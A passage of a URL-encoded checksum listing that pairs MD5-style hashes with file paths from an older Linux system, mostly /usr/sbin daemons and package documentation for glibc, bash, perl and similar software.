4134f68fc503ab3bc%20%20%2Fusr%2Fsbin%2Fsmbd%0Af960fac8eba382342e6a83f3bb902f7b%20%20%2Fusr%2Fsbin%2Fckconfig%0Aacba774aa110b5c8bbda6acc2aa5ff2d%20%20%2Fusr%2Fsbin%2Fftprestart%0Acc4c87f83ba7b72559ab7118b7de23dc%20%20%2Fusr%2Fsbin%2Fftpshut%0A5e100ce7e2b1c3cf2ba51ced98da8525%20%20%2Fusr%2Fsbin%2Fin.ftpd%0Abf13c73cce526717d41c42b884f04b0e%20%20%2Fusr%2Fsbin%2Fprivatepw%0Af88e3da87ac1c123a13d79efcc401fd7%20%20%2Fusr%2Fsbin%2Fxferstats%0A8fa87668d60ad5d56fe1d9beca8250d8%20%20%2Fusr%2Fsbin%2Fab%0A42f5de7941e9cbacc86f7e8b023c5bd1%20%20%2Fusr%2Fsbin%2Fhttpd%0A65c78acbc41b520bf20cfd6fbbd225af%20%20%2Fusr%2Fsbin%2Flogresolve%0Aed6db2d0e08b3afd408f13bfb4fe812f%20%20%2Fusr%2Fsbin%2Frotatelogs%0A44a33ce11e7bf6136a9e6711dfb67af0%20%20%2Fusr%2Fsbin%2Fsuexec%0A8dd4ae6b6f5f0ead6f49cdf7c67e7123%20%20%2Fusr%2Fsbin%2Ftcpdump%0A7815b0f1470708348a89643db0135f1e%20%20%2Fusr%2Fsbin%2Ftcpslice%0Aeb5f01080939c89b122de204b9bd21a1%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.threads.gz%0Abc2d2dea16bd5b025a29e37a9d8e01c1%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.1.gz%0A28f70ee183a8efadad7bff50d4a721ee%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.10.gz%0A35d3d60d72539f99843eab0dcc23d662%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.11.gz%0A13f048582565c529695642e3bfddc15d%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.12.gz%0A7666167621af48cb734e7d47791366be%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.2.gz%0A9453463dd5ee8d4aae5a4c052f69e60b%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.3.gz%0A3479ca63ff155ec5a63f9b1f784b74a8%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.4.gz%0A7689b1cb3277920e418f8952f4cdbdf8%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.5.gz%0Ad957290156b94d68913c0f73fd3e2ab1%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.6.gz%0A09db49a953a59536c58a3fb267a28f95%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.7.gz%0Ab1210e448164d82e2af27bb1f4500f85%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.8.gz%0Afc4f48ce601bfcd92f938da10e44eaf1%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.9.gz%0A1f46a53b87712b3bda495ca25f6365e1%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChangeLog.gz%0A93a348468f6d85edd957e5256fdbb55c%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FFAQ-threads.html%0A03d49a2c1413de12d2e8279e176d28ff%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FChanges.threads%0Add5dcb1f3bd807ab54801d3c6c004dcc%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FREADME.ufc-crypt%0A766c136916cfa7a086dc62d3b0af3fe9%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FREADME.threads%0A57b83af29c74c1ffc2429f0302424f02%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2FREADME.timezone%0A8e50c82a6b62e82ed1f105f1f2a423f2%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2FMakefile%0A102b11f4958fe4719f5c535106645f1d%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex1.c%0A82cf8bfff3bb05cd1139e3142e49cf79%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex10.c%0A6ad1b2b797c20aa0cca8aee993b11c32%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex11.c%0Af56234fa35b0030bb44824c1e8651592%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex12.c%0Ae12fd5ba0f5732055a81cc607290b951%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex13.c%0A4079a1aa4c7e00274c959c472d0827f6%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex14.c%0Aa244108fca24645940b1be778405d4a3%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex15.c%0A88e4867268a9aa4cc603b6d591ca6bbd%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex16.c%0Ae2be235677e0b64187742ac11b1ab528%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex17.c%0Ab9276b3914ff956ec9ba7334266dcc6a%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex2.c%0Ab24055ced9ff8f5f891b76344c7d00fd%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex3.c%0A045f8353d06b91791bc721f673596402%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex4.c%0Ae5a4566cddbbf6f5adc3f50362ccf147%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex5.c%0A18db8fc628e4af9326e2de86dd418ace%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex6.c%0Afcaf2a9107506fde0bfa8c4b6a65237d%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex7.c%0Ac42a7edd0690ca6504ff3ac105b8acb3%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex8.c%0Ad2b8c2986c45add5fb39999a59a4f2c5%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-common-2.2.4%2Fexamples.threads%2Fex9.c%0A6395b9d38a08a7e4ed1e0c6c43ba97ce%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fcss%2Fhomepage.css%0Afb2d5e53362e4b3963cb87cfb745a3ec%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fcss%2Fnon_ns4.css%0A1c1c618a4652209c739b40cea46f9f3e%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fhomepg_cart.gif%0Add7cfed16b917d2d52697022d0953003%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fbutton1.gif%0A1f890184c4d8641b4659260ab49fd952%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fbutton2.gif%0A5ad472ccddbe94a044d29f5b369d1022%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fhomepg_nav_horizontal.gif%0A7af4866e5cc3166705c735b4eb545a4f%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fhomepg_download.gif%0A4f3cdc57c7ccc297a2b394f53fa22af2%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fhomepg_login.gif%0A15487609cbb428d6e1020b9a8a5083dc%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fhomepg_member.gif%0Ab72b6ae6277bdebaab05024fc36239fc%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fhomepg_tab_rh_on.gif%0A14768167cee9398e79b00aa1a6c53e57%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fhomepg_red_div.gif%0A1762bbdaf369a916a1a07e38144ad549%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fhomepg_rh_logo.gif%0A0fcf9ee347142d5585bd6164157882e6%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fhomepg_search.gif%0A6c74f27849221876075b27ba2743ca8c%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fhomepg_store.gif%0A627f553130698d279f07e9e2bfc0b321%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fhomepg_worldwide_off.gif%0A1de82ffe31b5d6d73eb7d192d7ff4f2f%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fhomepg_tab_rhn_off.gif%0A1280dfe44ef7700b5ec1ea7d0ef0eee6%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fpixel_red.gif%0A325472601571f31e1bf00674c368d335%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fpixel.gif%0A3cfb3e54d518511e4ca7019fccb81286%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fpowered_by_t.gif%0Adaa91df58c4b9b627d781dc3c5b24649%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fred_bot_left.gif%0A1eaf8159204821794c74ddfb05783a19%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fred_bot_right.gif%0A60f1a2c1370ee42acdadd0faa2cd75df%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fred_top_left.gif%0Ab3183e0b155ea43213f1dfe835843f2a%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fred_top_right.gif%0Aa0f2502b7b772881606ef356b97009dc%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fstep1.gif%0Af19946cee5777155572a9198e2bf82dd%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fstep2.gif%0A0aaa64793da966f9b11b8a17df87145c%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fstep3.gif%0A6f84421c7cf9d1149a1b57ad71f35f16%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Fimg%2Fvalid-html401.gif%0A79bc96dd35b5c6e2c32a3a7af718b41b%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Findex.html.de_DE%0A1cd7380415cc6a9e6f062d82cec72868%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Findex.html%0A18792fc8c8b474f3038203bf81486051%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Findex.html.es_ES%0A26779ea2126954cf29e39712dc31fad1%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Findex.html.fr_FR%0A04634407c77dc7cbc153f843e1353a17%20%20%2Fusr%2Fshare%2Fdoc%2FHTML%2Findex.html.ja_JP%0A1c3ff0eef04cb6ec4937a43ac0767c0f%20%20%2Fusr%2Fshare%2Fdoc%2Fsetup-2.5.7%2Fuidgid%0Aaafa3264c30513a95429a715888b5ad5%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FCONFORMANCE%0A13cde5e180933be53e6a8a74c6764465%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FBUGS%0Ad8045f3b8f929c1cb29a1e3fd737b499%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FCOPYING.LIB%0A393a5ca445f6965873eca0259a17f833%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FCOPYING%0A3d014b4b02ee4428a8e5d1e7717a2061%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FINSTALL%0A8fedd3580d342b41f5a3abac5b3c7332%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FFAQ%0Aa504119b0a27c03f599283b4def185c8%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FPROJECTS%0Ab57dca2b9e50e16bbd6deea1d235b612%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FNEWS%0A8567aeb0e334ba11914483e2968e079c%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FNOTES%0Ae5d0b7b503ccc34bf4e4eb19d9127088%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FREADME.hesiod%0A65359b80adce8e699d7d7dc0bc834f99%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FREADME%0A76fd100fe9f91e804cb411e04c0942d0%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FREADME.template%0A4f130d42bea8cc0de4f3f5642e0fd2e3%20%20%2Fusr%2Fshare%2Fdoc%2Fglibc-2.2.4%2FREADME.libm%0Ad0326e8bc6d7d789345352dab9a136a4%20%20%2Fusr%2Fshare%2Fdoc%2Fcracklib-2.7%2FMANIFEST%0A5ede48cbef9a9ab3474d72d136e023ea%20%20%2Fusr%2Fshare%2Fdoc%2Fcracklib-2.7%2FHISTORY%0A6df275884434b0f8bd327d16091918ac%20%20%2Fusr%2Fshare%2Fdoc%2Fcracklib-2.7%2FLICENCE%0A568b075abdac1d6b3dab9e8830f3a685%20%20%2Fusr%2Fshare%2Fdoc%2Fcracklib-2.7%2FPOSTER%0Add4de18615cbf7c4004ed777ff007425%20%20%2Fusr%2Fshare%2Fdoc%2Fcracklib-2.7%2FREADME%0A153a9cef20839618fd2edd1dd96d3836%20%20%2Fusr%2Fshare%2Fdoc%2Fdb1-1.85%2Fchangelog%0A3267fe6c62419d8b496c91c571eeb92d%20%20%2Fusr%2Fshare%2Fdoc%2Fdb1-1.85%2FLICENSE%0A363f06dd8273d11d139d91f77fa1f7df%20%20%2Fusr%2Fshare%2Fdoc%2Fdb1-1.85%2FREADME%0A4f7f49bcbb531a526d42d9539cb3055a%20%20%2Fusr%2Fshare%2Fdoc%2Fdb2-2.4.14%2FLICENSE%0A39edcd84223dda81512af8c4578a0bb8%20%20%2Fusr%2Fshare%2Fdoc%2Fdb2-2.4.14%2FREADME%0Ae98a3b6622949589da644e7ea376f791%20%20%2Fusr%2Fshare%2Fdoc%2Fdb3-3.2.9%2Fimages%2Fnext.gif%0A830bfcd6c6b398c1c267689de410444f%20%20%2Fusr%2Fshare%2Fdoc%2Fdb3-3.2.9%2Fimages%2Fapi.gif%0Aa8bb25d1317d0d6190446e9541f5f682%20%20%2Fusr%2Fshare%2Fdoc%2Fdb3-3.2.9%2Fimages%2Fsleepycat.gif%0A90d82bf87cf5d1bebf45f9bb68b89f78%20%20%2Fusr%2Fshare%2Fdoc%2Fdb3-3.2.9%2Fimages%2Fprev.gif%0A3b2bed65a632b13865ccc4d7d0b248a4%20%20%2Fusr%2Fshare%2Fdoc%2Fdb3-3.2.9%2Fimages%2Fps.gif%0A9a0de787dc7e4d6203bd20ef8c228555%20%20%2Fusr%2Fshare%2Fdoc%2Fdb3-3.2.9%2Fimages%2Fref.gif%0A9dbee960b7f9aab920a9327b6d1bc4de%20%20%2Fusr%2Fshare%2Fdoc%2Fdb3-3.2.9%2FLICENSE%0Ab894c4281fa93e30710434ec2a0d2e44%20%20%2Fusr%2Fshare%2Fdoc%2Fdb3-3.2.9%2FREADME%0A04ddaf0a99399c55fe3b45d9602b6d3d%20%20%2Fusr%2Fshare%2Fdoc%2Fe2fsprogs-1.23%2FRELEASE-NOTES%0Ab22cbed2a9d929c513084f73cd63724a%20%20%2Fusr%2Fshare%2Fdoc%2Fe2fsprogs-1.23%2FREADME%0Ad92a5cade64f45dde1c1bdb183feb7f9%20%20%2Fusr%2Fshare%2Fdoc%2Feject-2.0.9%2FChangeLog%0A8ca43cbc842c2336e835926c2166c28b%20%20%2Fusr%2Fshare%2Fdoc%2Feject-2.0.9%2FCOPYING%0Ad9bf3da5ef5c2cad87ec095e1427b2ee%20%20%2Fusr%2Fshare%2Fdoc%2Feject-2.0.9%2FREADME%0Ac9e623cbb352392730c51f07d6a83cb0%20%20%2Fusr%2Fshare%2Fdoc%2Feject-2.0.9%2FTODO%0Ad8e20eece214df8ef953ed5857862150%20%20%2Fusr%2Fshare%2Fdoc%2Fgdbm-1.8.0%2FCOPYING%0Afe4c224e8b43b9dc63f13af99fac9462%20%20%2Fusr%2Fshare%2Fdoc%2Fgdbm-1.8.0%2FNEWS%0A6773b01267711625d10fdf682488a367%20%20%2Fusr%2Fshare%2Fdoc%2Fgdbm-1.8.0%2FREADME%0A87a3a0c3fc434b0aaa7bfbf1119f5e6e%20%20%2Fusr%2Fshare%2Fdoc%2Fglib-1.2.10%2FChangeLog%0A0a3665314ae83e3cdc7a962620f2a5e5%20%20%2Fusr%2Fshare%2Fdoc%2Fglib-1.2.10%2FAUTHORS%0Adcf3c825659e82539645da41a7908589%20%20%2Fusr%2Fshare%2Fdoc%2Fglib-1.2.10%2FCOPYING%0A39357d3af7bd7667db0b7b70601865d8%20%20%2Fusr%2Fshare%2Fdoc%2Fglib-1.2.10%2FNEWS%0Ad671246848b364ba3c380c74808f9917%20%20%2Fusr%2Fshare%2Fdoc%2Fglib-1.2.10%2FREADME%0A69f339d8d061429040142c016591958d%20%20%2Fusr%2Fshare%2Fdoc%2Fhdparm-4.1%2FChangelog%0Aa3e4ca86dfd745fabb176603d405070f%20%20%2Fusr%2Fshare%2Fdoc%2Fiputils-20001110%2FREADME.ifenslave%0Afa7d944e7e7830129959e7cba013818c%20%20%2Fusr%2Fshare%2Fdoc%2Fiputils-20001110%2FREADME%0A8c63cd26dbabdec609cc00cb315c29a2%20%20%2Fusr%2Fshare%2Fdoc%2Fiputils-20001110%2FRELNOTES%0A63955e0a692bd34c7b45f57007da74c5%20%20%2Fusr%2Fshare%2Fdoc%2Fksymoops-2.4.1%2FChangelog%0A8ca43cbc842c2336e835926c2166c28b%20%20%2Fusr%2Fshare%2Fdoc%2Fksymoops-2.4.1%2FCOPYING%0Aab32e0b4b34384fc53072b521f1237a9%20%20%2Fusr%2Fshare%2Fdoc%2Fksymoops-2.4.1%2FINSTALL%0A6cda8b38ab217b32d57c34d2d2dfc8bb%20%20%2Fusr%2Fshare%2Fdoc%2Fksymoops-2.4.1%2FREADME%0A9e4478b129aac03892a5ac51284262ef%20%20%2Fusr%2Fshare%2Fdoc%2Fmingetty-0.9.4%2FANNOUNCE%0A0c56db0143f4f80c369ee3af7425af6e%20%20%2Fusr%2Fshare%2Fdoc%2Fmingetty-0.9.4%2FCOPYING%0A8148f03755cf8eb13ca795b9a33c41f3%20%20%2Fusr%2Fshare%2Fdoc%2Fmingetty-0.9.4%2FTODO%0Ae05a973dcd065f1028dd1ac396ce7550%20%20%2Fusr%2Fshare%2Fdoc%2Fparted-1.4.16%2FChangeLog%0A2a1625bceb365abafd97b90455e8b719%20%20%2Fusr%2Fshare%2Fdoc%2Fparted-1.4.16%2FAUTHORS%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fusr%2Fshare%2Fdoc%2Fparted-1.4.16%2FBUGS%0A6c5585f150a403c14e25f7130e8ceef6%20%20%2Fusr%2Fshare%2Fdoc%2Fparted-1.4.16%2FREADME%0A685057cb47cfb74118eb3327c8882fa5%20%20%2Fusr%2Fshare%2Fdoc%2Fparted-1.4.16%2FTHANKS%0A6a048b9ce58f8c67a5dad86efa31d3a0%20%20%2Fusr%2Fshare%2Fdoc%2Fparted-1.4.16%2FTODO%0A8863957385b48a9f47e5012b391d8c6e%20%20%2Fusr%2Fshare%2Fdoc%2Fparted-1.4.16%2FUSER%0Aefb898d5f274c16522129f8caab0fa80%20%20%2Fusr%2Fshare%2Fdoc%2Fparted-1.4.16%2FUSER.jp%0Af921793d03cc6d63ec4b15e9be8fd3f8%20%20%2Fusr%2Fshare%2Fdoc%2Fperl-5.6.0%2FArtistic%0A9776b168ccf9655a310dbbf2acafad2c%20%20%2Fusr%2Fshare%2Fdoc%2Fperl-5.6.0%2FAUTHORS%0Aec972fa5f26b818a2abb757701d23d28%20%20%2Fusr%2Fshare%2Fdoc%2Fperl-5.6.0%2FChanges5.000%0Ab8c4ceb4a15a20e979068901b89f3126%20%20%2Fusr%2Fshare%2Fdoc%2Fperl-5.6.0%2FChanges%0A7856012164a3c08c0f870115b83aad97%20%20%2Fusr%2Fshare%2Fdoc%2Fperl-5.6.0%2FChanges5.001%0A1c08956fb0364b0781972b5b8e2578cf%20%20%2Fusr%2Fshare%2Fdoc%2Fperl-5.6.0%2FChanges5.002%0Ae88398dcf5f6349b5fdca6968aa4750c%20%20%2Fusr%2Fshare%2Fdoc%2Fperl-5.6.0%2FChanges5.003%0Ac7d0072ff72927e3959ac37c12e7c58d%20%20%2Fusr%2Fshare%2Fdoc%2Fperl-5.6.0%2FChanges5.004%0A4083bb53226b1feaa0ac333d0821b44a%20%20%2Fusr%2Fshare%2Fdoc%2Fperl-5.6.0%2FChanges5.005%0A2b4c6ffbcfcbdee469f02565f253d81a%20%20%2Fusr%2Fshare%2Fdoc%2Fperl-5.6.0%2FCopying%0A3996567866a38df667007d0759a2791f%20%20%2Fusr%2Fshare%2Fdoc%2Fperl-5.6.0%2FREADME%0A786d6abaa64226f1c636ece80fe9a999%20%20%2Fusr%2Fshare%2Fdoc%2Fpwdb-0.61.1%2Fhtml%2Fpwdb-1.html%0Ae76b54f46cb933d3552bdf2993ad9e31%20%20%2Fusr%2Fshare%2Fdoc%2Fpwdb-0.61.1%2Fhtml%2Fpwdb-2.html%0A558f01e85f03e4a95ffd363d51d782f5%20%20%2Fusr%2Fshare%2Fdoc%2Fpwdb-0.61.1%2Fhtml%2Fpwdb-3.html%0A01e867a562828c7a1c380ac9ae4f298c%20%20%2Fusr%2Fshare%2Fdoc%2Fpwdb-0.61.1%2Fhtml%2Fpwdb-4.html%0Af9b9c7f62b20ce64289caaa328d47098%20%20%2Fusr%2Fshare%2Fdoc%2Fpwdb-0.61.1%2Fhtml%2Fpwdb-5.html%0A972d611b0e4122d4548f2607cc527ab8%20%20%2Fusr%2Fshare%2Fdoc%2Fpwdb-0.61.1%2Fhtml%2Fpwdb-6.html%0A366ef1e342202e3b4bf9dfeedc5f91f3%20%20%2Fusr%2Fshare%2Fdoc%2Fpwdb-0.61.1%2Fhtml%2Fpwdb-7.html%0A405dc2a1bba76d490c557021ede9404a%20%20%2Fusr%2Fshare%2Fdoc%2Fpwdb-0.61.1%2Fhtml%2Fpwdb.html%0A69aac91e99744c311a84b04d4402a05b%20%20%2Fusr%2Fshare%2Fdoc%2Fpwdb-0.61.1%2Fpwdb.txt%0Abcea0ebf7d739aa077104251d99aefc5%20%20%2Fusr%2Fshare%2Fdoc%2Fpwdb-0.61.1%2FCopyright%0A6aa28bcd6afe0bbb8b10f1d202c435bb%20%20%2Fusr%2Fshare%2Fdoc%2Freiserfs-utils-3.x.0j%2FREADME%0A547a2a055f348526542356e85d8c2845%20%20%2Fusr%2Fshare%2Fdoc%2Fsetserial-2.17%2Frc.serial%0Aaad23fe93d8e85d40d1781643e5a435b%20%20%2Fusr%2Fshare%2Fdoc%2Fsetserial-2.17%2FREADME%0A6784c665fb3ae6ebffc18fa9dc84ceb4%20%20%2Fusr%2Fshare%2Fdoc%2Fshadow-utils-20000902%2FREADME.linux%0A5af8907ed58ed79b767706a5e87b6c43%20%20%2Fusr%2Fshare%2Fdoc%2Fshadow-utils-20000902%2FANNOUNCE%0Abca558df779166a947c365d51503af25%20%20%2Fusr%2Fshare%2Fdoc%2Fshadow-utils-20000902%2FCHANGES%0A142722336e4a9e7dfba5569a60776a0d%20%20%2Fusr%2Fshare%2Fdoc%2Fshadow-utils-20000902%2FHOWTO%0A97104a9d201fc894a8b64d8cbbbabaad%20%20%2Fusr%2Fshare%2Fdoc%2Fshadow-utils-20000902%2FLICENSE%0A5fa7f17efdd0ee947ccf582c520976d5%20%20%2Fusr%2Fshare%2Fdoc%2Fshadow-utils-20000902%2FREADME%0A4ad2dbeb91c949dd896e4b0c3b60589c%20%20%2Fusr%2Fshare%2Fdoc%2Fnewt-0.50.33%2FCHANGES%0A55ca817ccb7d5b5b66355690e9abc605%20%20%2Fusr%2Fshare%2Fdoc%2Fnewt-0.50.33%2FCOPYING%0Af8187abd1ed9080c830aecea489b6854%20%20%2Fusr%2Fshare%2Fdoc%2Fsyslinux-1.52%2Fdistrib.doc%0A0636e73ff0215e8d672dc4c32c317bb3%20%20%2Fusr%2Fshare%2Fdoc%2Fsyslinux-1.52%2FCOPYING%0A23363974312ea83fb803096b811cef2b%20%20%2Fusr%2Fshare%2Fdoc%2Fsyslinux-1.52%2FNEWS%0A827a1fa21b66ad6a7106b252f7db0971%20%20%2Fusr%2Fshare%2Fdoc%2Fsyslinux-1.52%2FREADME%0A69d57755e71dbbbcfa78db095ac4c478%20%20%2Fusr%2Fshare%2Fdoc%2Fsyslinux-1.52%2Fkeytab-lilo.doc%0A9d573978860e156a4c688d211159de7a%20%20%2Fusr%2Fshare%2Fdoc%2Fsyslinux-1.52%2Fpxelinux.doc%0A2d4e33c601e48bfa23148615e993500f%20%20%2Fusr%2Fshare%2Fdoc%2Fsyslinux-1.52%2Fsyslinux.doc%0A315bc2ec8de2ba325261d3aac71c1f7b%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2FPOSIX.NOTES%0A78a3c1c3154454530cb6ebf2e72810bb%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2FCHANGES%0A059154ab88560ef7fdb67ecbe2afd944%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2FCOMPAT%0Aa3eb58697ca93c7b61997f63242d4e8c%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2FFAQ%0A846697acb9912668a33659a10c5a4ce2%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2FINTRO%0A32eec7ac4789597979e1620e4264d1f3%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2FNEWS%0Ace30458cbc944d4a6ebb980b594c823b%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2FNOTES%0A80db709bf50e02d7fceed23e5e5a5bbd%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fbashdb%2FPERMISSION%0A3ec7644f39f6f354298fc10e9159f4fe%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fbashdb%2FREADME%0A8a00905dc79fc09ca8aa5edb29c21e1e%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fbashdb%2Fbashdb%0Aaaef60d0e94014f39cec4de108d18f98%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fbashdb%2Fbashdb.fns%0A8b2c8cf95d18b566590eae9426068efe%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fbashdb%2Fbashdb.pre%0A39d72c29ee83c674304f445ba12c3d4d%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fmisc%2Faliasconv.bash%0A2c56ea10af8a400a6b2e02bdaa505777%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fmisc%2Faliasconv.sh%0Abc8f29d582bc866b7bf1e6032e379804%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fmisc%2Fcshtobash%0A949fedfde6e4c2a142dad30c2e14a685%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fmisc%2Fsuncmd.termcap%0A30a939d95d303801cc5c50ccf372ba86%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Farticle.ms%0A33a84a37d8b89534040b7d3b23ea2856%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Farray-to-string%0Aa9c69412d7cd4cd1cdf4db1dc34a0e40%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Farray-stuff%0Ae55167814cc1a2a005b236e935cae8a1%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fgetoptx.bash%0A0ba67f9ac54efa335082172f0c99d4ab%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fautoload%0A47a59ce52f61acf1dda5c32b3734e681%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fautoload.v2%0A5497dc71a15aecda2b92fa3c8d9f8fe6%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fautoload.v3%0A30475ae08dbd322648983009a3e680a6%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fbasename%0A7f8155aa2c64cb7789cf3a82058f6f22%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fbasename2%0A2b85c9093327f63e18afc9c8715288d8%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fcsh-compat%0Ab07e1882df355f2006a9a4e48cec34ba%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fdirfuncs%0A8419b192560031fa4af782142f414d19